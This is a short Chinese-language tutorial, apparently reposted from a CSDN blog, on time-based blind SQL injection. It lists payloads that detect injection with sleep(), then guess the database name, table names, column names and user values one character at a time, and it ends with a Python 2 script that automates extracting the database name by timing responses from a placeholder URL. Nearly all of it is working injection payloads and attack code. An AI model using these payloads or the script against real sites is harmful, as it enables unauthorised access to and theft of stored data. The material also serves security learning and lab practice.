时间盲注

判断是否存在注入

?id=1' and sleep(5) --+

猜测数据库名长度

?id=1' and if (length(database())>5,sleep(5),0) --+
//当条件成立 执行sleep(5) 根据浏览器的反应来判断

通过ascii码猜数据库名

?id=1' and if((ascii(substr(database(),1,1)))>114,sleep(5),0) --+

猜表名

?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>114,sleep(5),0) --+

猜列名

?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>114,sleep(5),0)--+

猜值

?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))>114,sleep(5),0)--+

//
另一种方法 通过字符直接猜库名


示例 ?id=1' and if((substr(database(),1,1))='s',sleep(3),0) --+

余下步骤同上
//

//
if(condition,true,false) 若条件为真 返回true，若条件为假 返回false
sleep(5)  延迟五秒执行
length() 获取长度
substr() 返回字符串的一部分
ascii() ascii码转换
//

#某jio本
import requests
import time
import string
import sys
headers = {"user-agent":"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)"}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
database = ''
global length
for l in range(1,20):
    lengthUrl = 'http://xxx.xxx/?id=1" and if(length(database())>{0},1,sleep(3))--+'
    lengthUrlFormat = lengthUrl.format(l)
    start_time0 = time.time()
    rsp0 = requests.get(lengthUrlFormat,headers=headers)
    if  time.time() - start_time0 > 2.5:
            print 'database length is ' + str(l)
            global length
            length = l
            break
    else:
        pass
for i in range(1,length+1):
    for char in chars:
        charAscii = ord(char)
        url = 'http://xxx.xxx/?id=1" and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'
        urlformat = url.format(i,charAscii)
        start_time = time.time()
        rsp = requests.get(urlformat,headers=headers)
        if  time.time() - start_time > 2.5:
            database+=char
            print 'database: ',database
            break
        else:
            pass
print 'database is ' + database

原文链接:https://blog.csdn.net/m0_46373658/article/details/108758431